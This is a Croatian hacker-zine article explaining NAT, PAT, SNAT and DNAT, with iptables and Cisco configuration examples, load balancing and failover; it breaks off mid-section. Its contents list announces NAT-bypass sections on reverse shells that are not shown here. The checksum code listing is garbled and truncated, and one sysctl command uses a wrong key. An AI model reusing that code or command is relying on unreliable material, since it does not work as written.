................... ...::: phearless zine #5 :::... ................>---[ Uncovering Translated Environments ]---<.............. ............................>---[ by h44rP ]---<............................ haarp@phearless.org 0x00 Fade In 0x01 NAT (masquerading) 0x01a ICS vs. NAT (PAT/NAPT Overloading) 0x01b Inbound mapping and DYNAMIC translations 0x01c SNAT & DNAT objects 0x02 Protege Moi; Endorsements 0x02a Netfilter/IPTables 0x02b Cisco IOS 0x02c Obvious Limitations (PASV,H323,(-ALG)) 0x03 Involved Features 0x03a Load Balancing (VS through ippfvs patch) 0x03b Backup (failovering) maintain (cisco >12.2(13)T)(FWSM module) 0x03c DNS proxy ability 0x04 Various Bypass Workarounds 0x04a Effective detection (sFlow) 0x04b Reversing connection (VNC/NC) & Perl shell 0x04c Inbound SSH method 0x04d Sketches (bullets) for the end 0x05 Fade Out =========================================================================== NAPOMENA: svrha ovog teksta nema apsolutno nikakve ilegalne predznake te je napisan iskljucivo da citatelje, eventualno, educira o necemu sto do sada nisu imali mogucnosti u potpunosti shvatiti!!! =========================================================================== /////////////////////////////////////////////////////////////////////////// -----> 0x00 Fade In \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Samo jedan txt napisan na vrijeme :( zbog premalo slobodnog vremena evo nashao je mjesto u novom broju.. nakon premisljanja o temi i samostalnog rada shattera na ELF-u ;) na kraju je, nadam se, sve ovo barem parcijalno ok ispalo. Odlucio sam ipak da ostanem na mreznim implementacijskim tehnologijama, a prvenstveno je presudan faktor bio to sto me cesto, dosta ljudi pita za nacin kako rade i kako iskoristiti interne mreze koje se nalaze implementirane unutar NA(P)T-a pa je tekst vrst odgovora na request doticnih i slicnih pojedinaca. Znaci, standardan princip pojasnjavanja tehnologija i primjene te prakticnog definiranja svih elemenata do nacina zaobilazenja tako zasticenih okruzenja. Da bi bolje razumijeli sadrzaj teksta iznimno je pozeljno da znate barem malo naprednije stvari o samim mrezama i protokolima.. osi, ipv4, SOHO i nesto veca mrezna, tehnoloska implementiranja itd.. isto tako pretpostavljam da poznajete barem osnove mreznog programiranja (C,perl) i napredno koristenje linux CLI-a. /////////////////////////////////////////////////////////////////////////// -----> 0x01 NAT - masquerading \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ --==<[ 0x01a ICS vs. NAT (PAT/NAPT - Overloading) \____________________________________________/ NAT odnosno Network Address Translation (rfc 3022) jest prevodjenje mreznih adresa iz privatnih IP adresa u one (jedinstvenu) javne, vidljivo dostupne s neke vanjske ili globalne mreze. Sama zamisao NAT-a prilikom njegova dizajniranja je bila da se dobije veci broj raspolozivih IP adresa unutar neke mreze a shodno tome na vidjelo je izasla i njegova daleko najvecha prednost, a to je prakticki skrivanje unutarnjih hostova od ostatka vanjskih korisnika mreze sto je naravno ogroman sigurnosni cimbenik. NAT se najchesche upotrebljava na routerima gdje iz prve ruke translatira jednu grupu odredjenih adresa u drugu, a njegova je najshira primjena PAT (Port Address Translation). ICS (Internet Connection Sharing) pruza alternativne, translacijske mogucnosti a koristi se vecinom u okruzenjima od dva do deset hostova. Naravno znate da se pomocu ICS-a najcesce povezuju kakva SOHO okruzenja na internet samo jednom adresom odnosno konekcijom. Iako ICS podrzava DHCP alokaciju i DHCP proxy automatizirane servise NAT je uvelike bolje rjesenje cak i u manjim okruzenjima prvenstveno zbog cinjenice da ICS podrzava samo jedan interni, privatni subnet. Primjer (prevodjenje vishe (dva) hostova na jednu vanjsku adresu): ________ gw: 192.168.100.1 10.10.10.8 10.10.10.9 | | __________________________ /24 /24 | (4678/4679) | | | ___ ___ _|_ 193.198.5.6 _|_ _|_ _|_ |PC1| |PC2| / \ | / \ |PC1| |PC2| _|___|_ _|___|_ | X |---<------>----| X | _|___|_ _|___|_ |_______| |_______| \___/ | \___/ |_______| |_______| | | | 193.198.5.5 | |___________|________| (2548/2549) | 192.168.100.5 192.168.100.6 |__________| /24 /24 gw: 10.10.10.1 Dakle ono sto je vidljivo iz primjera jest da mi mozemo iza NAT-a (NAPT-a) u biti imati jako puno hostova koji ce na vanjskom interface-u biti predstavljeni iskljucivo jednom ip adresom. To je naravno moguce NAPT (Network Address Port Translation) principom gdje se svi interni hostovi mapiraju na jednu adresu a samo routanje se odvija preko portova. Znaci svakom hostu koji ide van iz nashe interne mreze se adresa konveritira u adresu firewall-a koji se za nas dalje spaja na destination hostove, a on ujedno odrzava i tabelu mapiranja sto je u biti kljucna veza izmedju vanjskog dijela i internog interfejsa. Tu kod NAPT-a u igru dolaze portovi. Dakle on ce za svaki interni host predodrediti odredjeni port preko kojeg ce pratiti tu internu adresu (10.10.10.*/467*) i preko njega znati o kojem se hostu radi. Sada vjerojatno zakljucujete da bi onda moglo biti cak 65536 internih hostova koji mogu ovim principom pristupati vanjskom dijelu no u praksi se to svodi na nekih 4000 sto je opet naravno jako mnogo.. Zakljucili ste da na ovaj nacin gw, prilikom primanja paketa koje ste vi slali odnosno razmjenjivali s nekim externim hostom, po iscitavanju header-a iz IP paketa, tocnije broju porta zna preko tablice mapiranja na koju ce internu adresu vratiti taj paket. Razlika izmedju obicnog NAT-a tj. obicne translacije i prikazanog primjera je u tome sto kod obicnog NAT-a port nebi igrao nikakvu pretjerano veliku ulogu kod mappiranja internih i externih adresa vec bi se recimo iz gornjeg primjera 10.10.10.8 interna adresa konvertirala u jednu ip adresu a 10.10.10.9 u drugu te bi potpuno nezavisno funkcionirale u vanjskom okruzenju tj. bile predstavljene kao dva potpuno razlicita hosta sto i jesu. Primjer klasicne maskerade: 10.10.10.8 10.10.10.9 (src^:1234) (src^:1234) ----------------------- DEST:2.2.2.2 DEST:2.2.2.2 => :80 |pack: src:ppp IP:3457| PROT:TCP |DST: 2.2.2.2:80 | /24 /24 10.10.10.1 2.2.2.2 |protocol: TCP | ___ ___ ___ ___ ----------------------- |PC1| |PC2| / \ / \ |pack: src:ppp IP:3456| _|___|_ _|___|_ | X |---<------>----| X | |DST: 2.2.2.2:80 | |_______| |_______| \___/ | \___/ |protocol: TCP________| | | | \ |________________________| |______________|________| \________________________ |mapiranje: | |int:10.10.10.8:1234| gw: 10.10.10.1 |ext: ppp IP:3456 | |remote:2.2.2.2:80 | | | |int:10.10.10.9:1234| |ext: ppp IP:3457 | |remote: 2.2.2.2:80 | |-------------------| Pretpostavljam da je iz ove skice sve prilicno jasno.. sto se u biti desava jest izmjena podataka u headerima paketa prilikom adresne translacije. i to: izmjena prilikom primanja ________|_________ | | | | |---------------------------------------------------------| |SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port| |---------------------------------------------------------| | | | |_________________| ----------|---------------- | | ASN.1,ASCII | izmjena prilikom slanja SFP (Secure Flow Processing) | ovdje ulazi u igru | --------------------------- Znaci svaki IP header mora da bude modificiran kako bi NAT bio uspjesno implementiran. To su modifikacije na src adresi i destination adresi ovisno o smjeru kretanja paketa. Automatski, samo modificiranje TCP i UDP sesija znaci da se mora updejtati i njegov checksum u headeru. UDP paketi s 0 checksum-om u headeru se ne updejtaju kao ni oni ICMP... protokola! Kod NAPT-a se te modifikacije TCP/UDP paketa odnosno njihovih headera baziraju na modificiranju TU port informacija te naravno src tj. dst adresa. ICMP query-u se takodjer u ovom slucaju mijenja checksum i query ID. Slijedi algoritam za checksum modifikacije headera: ------------------[ code ]------------------ void checksumadjust(unsigned char *chksum, unsigned char *optr, int olen, unsigned char *nptr, int nlen) { long x, old, new; x=chksum[0]*256+chksum[1]; x=~x & 0xFFFF; while (olen) { old=optr[0]*256+optr[1]; oprt+=2; x-=old & 0xffff; if (x<=0) { x ''; x&=0xffff; } ------------------[/code ]------------------ Upravo je port address translation princip koji je zbog ustede adresa koje maskira iza jedne ili manjeg broja njih jedan od glavnih cimbenika zasto IPv6 josh ne ulazi u sirokopojasnu primjenu zbog povecanja broja ip adresa! --==<[ 0x01b Inbound mapping and DYNAMIC translations \________________________________________________/ Nakon sto sam gore objasnio NAPT odnosno IP maskiranje koje spada u dinamicko prevodjenje ip adresa ovdje cu navesti razlike izmedju statickog prevodjenja koje se josh naziva i inbound mapping i tog dinamickog koje se najcesce javlja kao spomenuti overload ili pak kao overlapping translation.. Staticni NAT mapira neregistrirane IP adrese u one registrirane (sto ovo znaci ??? ovo znaci da mi interno u private mrezi koristimo bilo koje adrese koje zelimo a zatim se one konvertiraju u one registrirane koje su registrirane za nasu vanjsku mrezu) preko tabele u kojoj se nalaze mapirani unosi internih i externih adresa. Blok javih adresa je iste velicine kao i onaj privatnih sto znaci da se translacija vrsi iskljucivo pravilom 1=1. Ovaj nacin fixnog mapiranja adresa je posebno koristan kada odredjeni interni host ima potrebu da mu se cesto pristupa izvana. Primjer: ___ |PC1| _|___|_ 10.20.3.2 |_______| =============| ___ | 193.198.5.5 |PC2| _|_ |------------> ? _|___|_ 10.20.3.3 / \ |193.198.5.6 |_______| ==========| X |=====|------------> ? \___/ |193.198.5.7 ___ | |------------> ? |PC3| 10.20.3.4 | _|___|_ =============| |_______| Dinamicko routanje je kao sto mu sama rijec kaze ono pri kojem interni host dinamickim procesom dobija externu, javnu adresu.. sad.. to moze biti slucaj kao kod NAT overloadinga sto zapravo i nije pravi dinamicki NAT ako se mene pita jer prakticki se nema nova adresa prilikom output interfejsinga vec vi imate istu adresu no kao sto sam prije pojasnio identificiranje destina- cijskog hosta kod primanja informacija se vrsi preko porta na koji je NAPT mappirao interni host.. dinamicko jest po tome sto se svaki put dodijeli hostu odredjeni, pripadajuci mu port koji ga idenitificira u mapping tabeli no 32 bitna adresa je nepromijenjena odnosno ostaje adresa firewall-a. Drugi slucaj dinamickog routanja je klasicno usmjeravanje prometa mapiranjem hostova tako sto se definira odredjeni range ip adresa koje su za javnu upotrebu i svaki put kada se internom hostu dodjeljuje pripadajuca javna adresa ona se dinamicki uzima iz tabele mapiranja pravilom prve slobodne adrese.. dakle kao kod DHCP-a i nekih slicnih protokola. ___ |PC1| _|___|_ 10.20.3.2 |_______| =============| range: 193.198.5.1-10.. ___ | 193.198.5.5 |PC2| _|_ |------------> ? _|___|_ 10.20.3.3 / \ |193.198.5.6 |_______| ==========| X |=====|------------> ? \___/ |193.198.5.7 ___ | \ |------------> ? |PC3| 10.20.3.4 | \ _|___|_ =============| \______________________ |_______| |193.198.5.6(10.20.3.3)| |193.198.5.7(10.20.3.4)| |193.198.5.5(10.20.3.2)| |...___________________| Znaci kada odredjeni 10.* host zeli pristupati na neke vanjske lokacije njegova javna ip adresa biti ce prva slobodna iz range-a 193.198.5.1-10.. Isto tako pretpostavljam da ste odmah uocili da staticko prevodjenje odnosno prevodjenje kada src, interni host ima istu javnu adresu kada se spaja na van nema nekog veliku utjecaja na sigurnost jer mi mozemo raditi sve tom hostu kao i bilo kojoj drugoj mashini s javnom ip adresom jer bit security ehacement-a ovim principom jest da vi neznate adrese i strukturu interne mreze. !!O sigurnosti ce biti vishe rijeci kasnije!! --==<[ 0x01c SNAT & DNAT objects \___________________________/ Znaci source mrezne, adresne translacije i destination translacije kao sto i sami nazivi sugeriraju razlikuju se po tome sto se src ili dest informacije prepisuju tokom procesa translacije. Krenimo prvo od source NAT-a. Ovdje ce znaci target promijeniti source adresu u ip headeru prilikom slanja paketa izvan lokalne mreze na vanjski interface. Source nat sam u biti i gore spominjao u drugim kontekstima no to je zapravo identican princip. Znaci recimo da u lokalnom lan-u uglavnom koristimo IANA specificne ip adrese te one nebi bile prepoznatljive da se u takvom obliku samo preusmjere na globalni interface. one ce jednostavno biti prepisane i izgledat ce da su svi paketi iz lokalne mreze poslani sa jednog specificnog target hosta tj naseg firewall-a. Naravno kako sam vec prije spomenuo nije iskljucivo potrebno da se source mappira na externi interface istim ip-em vec se jednostavno moze napraviti tablica mappiranja pa se opet vracamu na PT, tj u ovom slucaju SNAPT. DNAT translacija pri forwardu sa externog hosta | --------------------------------------------------------- |SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port| --------------------------------------------------------- | SNAT translacija na izlazu iz LAN-a Kod DNAT-a odnosno destination translacija dolazi do slijedece situacije. recimo da primamo neki paket izvana na nash host kroz DNAT filter.. ono sto ce on napraviti jest da ce prepisati destinacijsku adresu paketa u ip headeru i tim je forwardati na neki interni host. Ovakav tip routanja moze se jako dobro iskoristiti.. recimo da imate neki web server ili bilo kakav drugi posluzitelj koji se vrti unutar vasheg LAN-a bez dodjeljene mu neke javne adrese. tada cete jednostavnom konfiguracijom narediti hostu da sve pakete koje primi, recimo u ovom slucaju na port 80 ili mozda IMAP forward porta 143, preusmjeri na interni web server koji ce tada obraditi requestove. 88.146.161.1 NAT:192.168.100.1 ______ ______ IMAP HTTP |____| |____| 192.168.100.6 192.168.100.7 |____| IP:1.2.3.4 |____| ___ ___ |____| |____| |PC1| |PC2| | |------------/ | | _|___|_ _|___|_ |||||| /-------------|||||| |_______| |_______| |||||| |||||| | | |||||| ||||||_____________|___________| |____| |____| ______|______________________________|___ ______________________ SRC: 88.146.161.1:2324| Translacija: |SRC:88.146.161.1:2324 | DST: 1.2.3.4:80 |1.2.3.4:80 prevod |DST:192.168.100.7:80 | Protocol: TCP |192.168.100.7:80 |Protocol:TCP | ----------------------|------------------|----------------------| SRC: 88.146.161.1:2168|1.2.3.4:143 prevod|SRC:88.146.161.1:2168 | DST: 1.2.3.4:143 |192.168.100.6:143 |DST:192.168.100.6:143 | Protocol: TCP |------------------|Protocol:TCP | -----------------------------------------|----------------------| /////////////////////////////////////////////////////////////////////////// -----> 0x02 Protege Moi; Endorsements \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ --==<[ 0x02a Netfilter/IPTables \_________________________/ Evo nakon sto ste nadam se potpuno jasno shvatili pricip rada svih vrsta gore spomenutih mreznih translatiranja dosli smo do dijela u kojem cu pokusati vam poblize objasniti implementacije na nekolicini uredjaja odnosno korisnickih okruzenja. Iako vam vecini iptables-i izlaze i na ushi bilo bi steta ovdje ne opisati neke nacine korisne upotrebe NAT-a upravo preko tog linux paketa. Jasno necu ovdje opisivati kako radi netfilter vec cu samo pokazati ukljucivanje i koristenje nat-a na taj nacin. Iptables implementacija je meni osobno i daleko najbolja i najprihvatljivija, a i prvenstveno jer vecina nema mogucnosti to obaviti na nekom stvarnom routeru, a neke implementacije na drugim operativnim sustavima su daleko nestabilnije npr. kerio winroute kojeg je prelako moguce onesposobiti. Takodjer, odlucio sam ne spominjati neke metode koje sam prije koristio u ove svrhe npr. preko ipfwadm-a, ipchains-a vec samo iptables nacine. Idemo spomenuti neke gore objasnjene tipove NAT-ovanja.. btw. ako niste cesto koristili iptables procitajte man page-e ili txt od blood-a iz mislim broja2! Prije nego pocnete s implementacijom nat-a potrebno je dodati NAT modul npr: ------------------[ shell ]------------------ haarp@madness:~#modprobe iptables_nat ------------------[/shell ]------------------ te isto tako ukljuciti ip forwarding u parametre kernela! za one koji ne znaju: direktnim outputom u /proc ------------------[ shell ]------------------ haarp@madness:~#echo 1 > /proc/sys/net/ipv4/ip_forward ------------------[/shell ]------------------ ili preko sysctl-a.. isto tako mozete provjeriti sve mrezne parametre koji su trenutno podeseni sa "sysctl -a |grep -i net".. ------------------[ shell ]------------------ haarp@madness:~#sysctl -w nat.ipv4.ip_forward=1 ------------------[/shell ]------------------ Prvo cu pojasniti klasicno podesavanje SNAT-a koje je i najjednostavnije: ------------------[ shell ]------------------ haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 161.68.11.2 ------------------[/shell ]------------------ U ovom gore primjeru pretpostavljam da je sve jasno kao dan.. dakle napravio sam jednostavan source nat na 161.68.11.2!! no ajmo sad napravit pool za neki range, recimo do *.*.11.9: ------------------[ shell ]------------------ haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 161.68.11.2-161.68.11.9 ------------------[/shell ]------------------ sada cu ukljuciti i portove .. uzet cemo da koristi odredjeni pool prilikom obavljanja translacije.. ------------------[ shell ]------------------ haarp@madness:~#iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to 161.68.11.2:1-2048 ------------------[/shell ]------------------ kada zelite podesiti destination NAT ukucajte sljedece: ------------------[ shell ]------------------ haarp@madness:~#iptables -t nat -A PREROUTING -i eth0 -j DNAT --to 192.68.1.2 ------------------[/shell ]------------------ te na isti nacin za pool kao sto sam za SNAT pokazao nekoliko linija gore. recimo sada da zelite iskoristiti onaj nacin routanja do internog npr. www server koji ce se recimo u ovom primjeru adresirati kao 192.168.0.1! ------------------[ shell ]------------------ haarp@madness:~#iptables -t nat -A PREROUTING -p tcp --dport 80 -i eth0 -j DNAT --to 192.168.0.1:8080 LOAD-BALANCER --==<[ 0x02b Cisco IOS \_________________/ Implementacija na cisco routeru takodjer nije neshto posebno komplicirana te se sve u biti svodi na nekoliko logicnih linija u cisco IOS CLI sucelju!! tip* ip adrese, netmaske i wildcardovi su naravno koristeni za testiranje kako mi je palo na pamet pa naravno sve prilagodite svojem subnetu tj. mrezi.. Prvo cu pokazati kako se podesava klasican staticki NAT na cisco routerima: ------------------[/C_cli ]------------------ cisco(config)#ip nat inside source static 10.19.11.1 193.198.100.101 cisco(config)#interface eth0 cisco(config-if)#ip nat inside cisco(config)#interface s0 cisco(config-if)#ip nat outside ------------------[/C_cli ]------------------ Dinamicki nat koji cu upravo pokazati uz nat pool koristi access liste pa se nadam da ste procitali onaj maleni dio o njima u proslom tekstu! :) ------------------[/C_cli ]------------------ cisco(config)#ip nat pool range 10.10.10.6 10.10.10.19 netmask 255.255.255.0 cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255 cisco(config)#ip nat inside source list 1 pool range cisco(config)#interface eth0 cisco(config-if)#ip nat inside cisco(config)#interface s0 cisco(config-if)#ip nat outside ------------------[/C_cli ]------------------ takodjer je naravno podrzano konfiguriranje sucelja kao DNAT,PAT interface. ------------------[/C_cli ]------------------ cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255 cisco(config)#ip nat inside source list 1 interface serial 0 overload cisco(config)#interface eth0 cisco(config-if)#ip nat inside cisco(config)#interface s0 cisco(config-if)#ip nat outside ------------------[/C_cli ]------------------ jos mogu spomenuti i nat-pat translaciju na neku odredjenu adresu: ------------------[/C_cli ]------------------ cisco(config)#access-list 1 permit X.X.0.0 0.0.0.255 cisco(config)#ip nat pool range 10.10.10.10 netmask 255.255.255.0 cisco(config)#ip nat inside source list 1 pool range overload cisco(config)#interface eth0 cisco(config-if)#ip nat inside cisco(config)#interface s0 cisco(config-if)#ip nat outside ------------------[/C_cli ]------------------ sve postavke koje ste podesili i njhovo brisanje mozete provjeriti i izvrsiti sa nekoliko komandi: ------------------[/C_cli ]------------------ cisco(config)#show ip nat translations cisco(config)#show ip nat statistics cisco(config)#clear ip nat translation ------------------[/C_cli ]------------------ --==<[ 0x02c Obvious Limitations (PASV,H323,(-ALG)) \_____________________________________________/ Znaci NAT iako ima podosta velik broj prednosti nije uspio preskociti odredjene poteskoce koje dolaze samom translacijom adresa, pogotovo kada je u igri port translation kada racunala interne mreze imaju iskljucivo jednu, jedinstvenu externu adresu i to onu od svog gateway-a na kojem se vrti NAPT implementiran na jedan od mnogo nacina. Osobno koristeci NAT/PAT tehnologiju kroz cca tri godine naisao sam na mnogo problema koje on donosi te uspio istestirati nekoliko nacina njegova implementiranja u interne mreze, no naravno da postoji vjerojatno josh dosta problema koje on donosi a s kojima se nisam direktno susreo no ovdje cu ukratko pokazati nekoliko njih, definirati ih te objasniti zasto do njih dolazi... Prvi i ujedno tada najveci problem je bio rad file transfer protokola.. dakle FTP protokol je predstavljao problem mreznom translatoru jer je on u svom odredjenom mod-u rada onemogucavao valjanu konekciju s nekim externim strojem. FTP naravno koristi dva kanala za komunikaciju server/client i kao sto znamo preko, permanentnog, prvog ostvaruje konekciju na 21 port te njime vrsi komandnu komunikaciju sa serverom. Drugi kanal se postavlja svaki puta kada data tranfer mora da bude realiziran (dir-ovanje,file transf..). Sada kod aktivnog nacina rada set-iranje konekcije dolazi u pitanje jer je tada ono prepusteno serveru. znaci nakon command exchange-a na 21 portu socket na portu 20(?) moze komunicirati sa serverom. Ajde da i pojasnim jedan ftp session kad sam se vec dohvatio i te teme.. ACTIVE FTP: znaci klijent sa nekog >1024 porta salje connect request na 21 port servera. Zatim naravno slusha na port+1 portu i salje FTP komandu PORT >1024+1.. zatim se server spaja natrag na klijenta sa svog porta 20 na ovaj koji mu je ovaj javio. dakle sve je naravno jasno... handshake sa klijentovog dinamickog porta i serverskog 21-og. Te naravno zatim slijedi koristenje data kanala na isti princip. Problem je naravno u tome sto kod aktivnog moda klijent ne javi serveru nashu pravu adresu vec onu nasheg gateway-a tj. NAT translatirane adrese pa kad se ovaj bude isho spajat na nas nece se spajat na nas >1024+1 port koji smo mi otvorili vec na taj port nasheg gateway-a koji na njemu naravno nije otvoren. Zato je za ovo rjesenje sa koristenjem pasivnog moda.. on radi na ovaj nacin: PASV FTP: klijent ostvaruje konekcije sa obadva dinamicka porta.. dakle i onog prvog dinamickog i +1 porta. sa prvog se naravno kontaktira server na 21 portu, a sa drugog umjesto connect-back komande PORT poslat cemo PASV komandu. Tada ce server otvoriti neki svoj random >1024 port i poslati PORT komandu klijentu koji ce se tada spojiti data kanalom na taj port na FTP posluzitelju! uff. upravo se dvoumim dali da brisem sve ovo ali ajde neka.. za nekog tko mozda zaluta a nezna apsolutno nista o protokolima mozda bude korisno... ostali .. sorry na digresiji.. :) -=H323=- -------- Isto tako problematican protokol za komunikaciju preko nat-ovanih okruzenja s kojim sam se cesto susretao.. njega vam od poznatijih aplikacija koristi NetMeeting kao primarni video-conferencing protokol. Ksto tako rabe ga uredjaji kao sto su polycom za TC/VC itd. problem je u tome sto netmeeting koristi dinamicke portove umjesto statickih te bi teoretski onda trebali otvoriti 60000 portova na firewall-u da bi to sve skupa normalno funkcioniralo. problem ovdje je i vishe nego jasan. medjutim: ====================== protokol h323 specifican je kao i neki slicni protokoli prvenstveno jer uzorkuje problem tako sto jedan poziv koristi dvije TCP konekcije i nekoliko UDP konekcija. Data se stavlja u payload sto mozda i nebi bio problem ali je cijeli payload encodiran prek ASN-a sto je pak prekompleksno da bi obican NAT mogao detektirati i dekodirati takve segmente paketa. ====================== Rjesenje sam pronasao u nmproxy-u. On se zapravo ponasha kao direktan posrednik izmedju dvaju end-ova konekcije.. recimo da vrtite default nmproxy na stroju: ------------------[ shell ]------------------ iptables -I PREROUTING -t nat -p tcp --dport 1720 -j REDIRECT iptables -I INPUT -p tcp --dport 1720 -j ACCEPT iptables -I INPUT -p tcp --dport 10200:10209 -j ACCEPT iptables -I INPUT -p udp --dport 10200:10259 -j ACCEPT iptables -I OUTPUT -p tcp -j ACCEPT iptables -I OUTPUT -p udp -j ACCEPT iptables -I INPUT -p tcp ! --syn -j ACCEPT ------------------[/shell ]------------------ josh je prilicno puno problema koji se javljaju u ovakvima situacijama.. neke od znanih su problemi sa SNMP-om,SIP-om,quake... etc. pa se vjerojatno pitate kako izbjeci ove i slicne probleme... trebate li onda izbjegavati NAT kao sigurnosno i korisno rjesenje.. pretpostavljam da si rijetko tko moze dopustiti da mu ne radi odredjeni, velik broj aplikacija koji prenose ip informacije u data segmentima i drugim channel-ima na neke specificne nacine. Takodjer cujem cesto kako je puno stvari vec rjeseno na odredjenim suceljima (uglavnom na windoze implementacijama). Jedno od postojecih rjesenja je ALG, proxy proces koji se brine dali payload treba da bude prilagodjavan, ali o tome i SPF cu pisati nadam se za drugi put jer je to jako opsirno podrucje pa nema smisla da ga ubacujem ovdje jer nije direktno povezano s tekucom, pretpostavljenom tematikom. /////////////////////////////////////////////////////////////////////////// -----> 0x03 Involved Features \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Ovaj dio sam predvidio kao najkraci, samo da spomenem i ukratko opisem neke dodatne mogucnosti koje mozemo korisno iskoristit na NAT/PAT okruzenjima! vidjet cemo u kolikoj cu se mjeri drzati tog "najkraci"... :p --==<[ 0x03a Load Balancing (VS through ippfvs patch) \_______________________________________________/ Prva korisna stvar koja se moze iskoristiti jest load-balancing. O cemu se ovdje zapravo radi.. server cluster na vanjskoj adresi predstavljen je externom adresom gatewaya na kojem se nalazi virtualni server.. LOAD-BALANCER ______ |____| PRAVI SERVERI |____| ___ ___ ___ |____| |PC1| |PC2| |PCn| EXT | |----<-->----| _|___|_ _|___|_ _|___|_ ====|||||| |----| |_______| |_______| |_______| VS |||||| | SW | | | | |||||| |/HUB|___<____>____|___________|__________|__________ |____| |----| |192.168.155.2|192.168.155.3|192.168.155.4| |-----------------------------------------| 192.168.155.1 Znaci kada korisnik izvana zatrazi neki servis koji posjeduje serverski cluster, paket namijenjen virtualnom serveru dolazi na load balancer. Tada load-balancer pregledava destinaciju paketa i port. Ako se ono poklapa sa servisom virtualnog servera prema rule tablici, odabire se pravi server iz clustera preko rasporednog algoritma. Nakon toga konekcija se dodaje u hash tabelu koja sadrzi uspostavljene konekcije. Zatim se odredisna adresa i port prepisuju u paketu onako kako odgovara stvarnom posluzitelju te se paket prosljedjuje stvarnom serveru. prilikom reply-a load-balancer prepisuje src adresu i port te vraca paket posiljatelju, a nakon sto se prekine ili istekne konekcija ona se brise iz vec spomenute hash tabele. Dakle na load balancer serveru moze imati linux i vrlo jednostavno forward-ati paket.. recimo sada da preko ipwadm zelimo prihvacati pakete iz interne mreze tj. pakete stvarnih servera.. ------------------[ shell ]------------------ ipfwadm -F -a m -S 192.168.155.0/24 -D 0.0.0.0/0 ------------------[/shell ]------------------ siguran sam da ovdje nema nista nejasno.. znaci shvatite to kao obicno VS mapiranje i forward-anje na stvarne servere.. isto tako moguce je prema load-u na konekcijama raspodijeliti konekcije na vishe internih istosvrsnih servera.. znaci recimo da imate neki pretrazivacki engine i da vam je jednostavno previshe request-ova upuceno svaki trenutak i da server nije u potpunoj mogucnosti obradjivati informacije u zeljenim performansama jednostavno cete napraviti nekoliko "kloniranih" servera na ovaj nacin i podesiti load-balancer da jednostavno na vama zeljeni nacin poduzima akcije shiftanja po vecem broju servera kako bi cijela stvar bila brza i ucinkovitija! ovdje cu izlistati primjer onoga sto vam je potrebno da ukljucite u vas kernel kako bi stvar funkcionirala kako treba: ------------------[ config ]------------------ Code maturity level options ---> [*] Prompt for development and/or incomplete code/drivers Networking options ---> [*] Network packet filtering (replaces ipchains) [ ] Network packet filtering debugging ... IP: Netfilter Configuration ---> IP: Virtual Server Configuration ---> virtual server support (EXPERIMENTAL) [*] IP virtual server debugging (12) IPVS connection table size (the Nth power of 2) --- IPVS scheduler round-robin scheduling weighted round-robin scheduling least-connection scheduling scheduling weighted least-connection scheduling locality-based least-connection scheduling locality-based least-connection with replication scheduling destination hashing scheduling source hashing scheduling --- IPVS application helper FTP protocol helper ------------------[/config ]------------------ takodjer je potrebno dodati VS patch za kernel.. napominjem da je ovo gore predvidjeno za 2.4.x kernel tako da se vjerojatno neke opcije razlikuju od 2.6.x kernela. Nakon sto imate sve potrebno mozete dodati stvarne servere: ------------------[ shell ]------------------ ippfvsadm -A -t EXT_IP_ADDR:80 -R 192.168.155.3:80 -w 1 ippfvsadm -A -t EXT_IP_ADDR:80 -R 192.168.155.2:8000 -w 2 ippfvsadm -A -t EXT_IP_ADDR:21 -R 192.168.155.2:21 ------------------[/shell ]------------------ --==<[ 0x03b Backup (failovering) maintain (cisco >12.2(13)T)(FWSM module) \_____________________________________________________________________/ Josh je jedna korisna mogucnost koju donosi upotreba cisco nat mreznih okruzenja, a to je izgradnja jedne vrste failover clustera. Znaci recimo da imamo dva routera sredjena u takvo okruzenje desava se to da ce ukoliko dodje do problema na nashem gateway-u sav promet biti prebacen odnosno preusmjeren na drugi usmjerivac koji nema takvih problema. No kada sam razmisljao o ovom nisam samo mislio o takvoj vrsti backup-a koja se moze u biti podesiti i bez stvarnog nat-ovanog configuriranja. Ovdje sam pomislio na to da recimo uz globalne dinamicke postavke NAT-a postavimo i PAT globalne, ako zelimo dyn nat za odredjene aplikacije ali recimo da ipak hocemo imati backup pat konf za slucaj da su svi used-up. ovdje cu pojasniti i Firewall Services Module odnosno FWSM na cisco usmjerivacima i switchevim (Cisco Catalyst® 6500 switches and Cisco 7600). Kod njegova koristenja modul vrsi lokalno-globalne translacije. koristenjem modula nekakvo jednostavno podesavanje recimo tri interna hosta bi izledalo nekako ovako: ------------------[ C_cli ]------------------ FWSM/contexta(config)# nat (inside) 1 INT_ADDR 255.255.255.0 FWSM/contexta(config)# global (outside) 1 EXT_POOL(2) FWSM/contexta(config)# global (outside) 1 EXT_ADDR ------------------[/C_cli ]------------------ recimo za primjer definiranje jednog dyn odnosno NAT statementa i dva PAT-a! moguce je mnogo kombinacija napraviti preko modula ukljucujuci prebacivanja preko DMZ-a do ext posluzitelja itd. modulska sintaksa za konfiguriranje nat-a: ------------------[ C_cli ]------------------ FWSM/contexta(config)# nat (local_interface) nat_id access-list acl_name [dns] [outside | [norandomseq] [[tcp] tcp_max_conns [emb_limit]] [udp udp_max_conns]] ------------------[/C_cli ]------------------ identificiranje globalnih adresa: ------------------[ C_cli ]------------------ FWSM/contexta(config)# global (global_interface) nat_id {global_ip[-global_ip] | interface} ------------------[/C_cli ]------------------ takodjer jedan nacin podesavanja i rjesavanja nekih problema je stateful failover nacin rada SNAT-a. Pravi nacin ovog je koliko znam prvi put prezentiran na 12.2(13)T verziji IOS-a u svrhu slucajnog failure-a nekih bitnih linkova i routera. Moguce je da dva ili vishe mreznih translatora funkcioniraju kao translacijska grupa. Jedan router (primarni) manipulira trafficom i obavlja ip adresnu translaciju te obavjestava 